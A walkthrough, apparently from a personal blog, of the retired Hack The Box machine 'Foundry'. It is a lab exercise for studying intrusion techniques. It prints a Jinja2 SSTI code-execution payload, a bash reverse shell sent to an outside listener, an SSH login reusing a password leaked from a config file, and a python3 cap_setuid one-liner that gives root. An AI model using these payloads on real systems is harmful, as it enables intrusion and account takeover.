All posts

HTB: Foundry

A document-preview feature in a Flask application renders user input through Jinja2 without escaping, turning a template expression into remote code execution. A leaked application config reuses a password on a real system account, and a stray cap_setuid capability on the Python binary — the kind of thing that gets set once during a deployment script and never cleaned up — collapses the whole box to root in a single line.


MachineFoundry
DifficultyMedium
OSLinux
StatusRetired
Key TechniquesJinja2 SSTI · Credential Reuse · cap_setuid on python3

Enumeration

Nmap showed the usual small Linux footprint: SSH and a web server. The HTTP service advertised a Werkzeug/Python banner, which is a strong hint that a Flask application is behind it — and Flask means Jinja2 templating is one careless render_template_string away.

nmap -sV -sC -p- --min-rate 5000 -oA foundry 10.10.11.71
# 22/tcp   open  ssh      OpenSSH 9.6p1 Ubuntu
# 80/tcp   open  http     Werkzeug/3.0.3 Python/3.12.3

The site was an internal "casting foundry" job-ticket tracker. The interesting feature was a ticket preview: you enter a job title and description, and the app renders a formatted preview back to you before you submit. Any time an application echoes your input into a server-rendered page, the first question is whether it is being concatenated into a template rather than passed as data.

Foothold — Jinja2 Server-Side Template Injection

I probed the preview field with the canonical arithmetic test. If {{7*7}} comes back as 49, the input is being evaluated as a template expression, not printed literally.

curl -s http://10.10.11.71/preview \
  --data-urlencode 'title=test' \
  --data-urlencode 'body={{7*7}}'
# ... <div class="preview-body">49</div> ...   <- evaluated: confirmed SSTI

A raw 49 confirmed Jinja2 SSTI. From an evaluated expression, the standard route to command execution walks Python's object model — from any object up to object, across its subclasses to something that can spawn a process. To keep the payload robust against a partial sandbox, I used the cycler / lipsum globals that Jinja exposes, which reach os directly:

# lipsum.__globals__ exposes the os module -> os.popen for command output
curl -s http://10.10.11.71/preview \
  --data-urlencode 'title=x' \
  --data-urlencode "body={{ lipsum.__globals__['os'].popen('id').read() }}"
# uid=1000(svc_web) gid=1000(svc_web) groups=1000(svc_web)

With command execution as svc_web, I swapped the id for a reverse shell. URL-encoding the payload and pointing it at a waiting listener gave an interactive shell:

# Listener: nc -lvnp 9001
PAYLOAD="{{ lipsum.__globals__['os'].popen('bash -c \"bash -i >& /dev/tcp/10.10.14.9/9001 0>&1\"').read() }}"
curl -s http://10.10.11.71/preview \
  --data-urlencode 'title=x' --data-urlencode "body=${PAYLOAD}"
# svc_web@foundry:/opt/foundry-app$ 

Lateral Movement — Credential Reuse from the App Config

Web application accounts almost always sit on top of a config file with database or service credentials, and developers reuse passwords across contexts far more than they admit. The Flask app's instance config was readable by the service account:

svc_web@foundry:/opt/foundry-app$ cat instance/config.py
# SECRET_KEY = "c1f3...".
# SQLALCHEMY_DATABASE_URI = "postgresql://foundry:F0undry_Cast!ng_2026@localhost/foundry"
# ADMIN_EMAIL = "[email protected]"

A database password, a hint of a real username (m.hale), and a home directory to match. Password reuse between the database and the user's SSH account is exactly the sloppiness these boxes reward, and it paid off:

ssh [email protected]
# [email protected]'s password: F0undry_Cast!ng_2026
m.hale@foundry:~$ cat user.txt

Privilege Escalation — cap_setuid on the Python Binary

With a real user shell, the fastest wins on Linux are sudo rules, SUID binaries, and — the one people forget to check — file capabilities. Capabilities grant a subset of root's powers to a specific binary without the SUID bit, so they do not show up in a find -perm -4000 sweep. Enumerating them directly is the move:

m.hale@foundry:~$ getcap -r / 2>/dev/null
# /usr/bin/python3.12 = cap_setuid=ep

cap_setuid lets a process change its user ID freely — the exact primitive the kernel uses to drop privileges, handed to a general-purpose interpreter. A binary that can call setuid(0) and then run arbitrary code is root by definition. On Python it is a one-liner.

The ep flags mean the capability is Effective and Permitted, so a script that calls os.setuid(0) before spawning a shell runs that shell as root:

m.hale@foundry:~$ /usr/bin/python3.12 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@foundry:~# id
# uid=0(root) gid=1000(m.hale) groups=1000(m.hale)
root@foundry:~# cat /root/root.txt

The capability was almost certainly set during a deployment step that needed the app to bind a privileged port or drop privileges itself, then never reverted — a classic case of a temporary grant becoming permanent.

Key Takeaways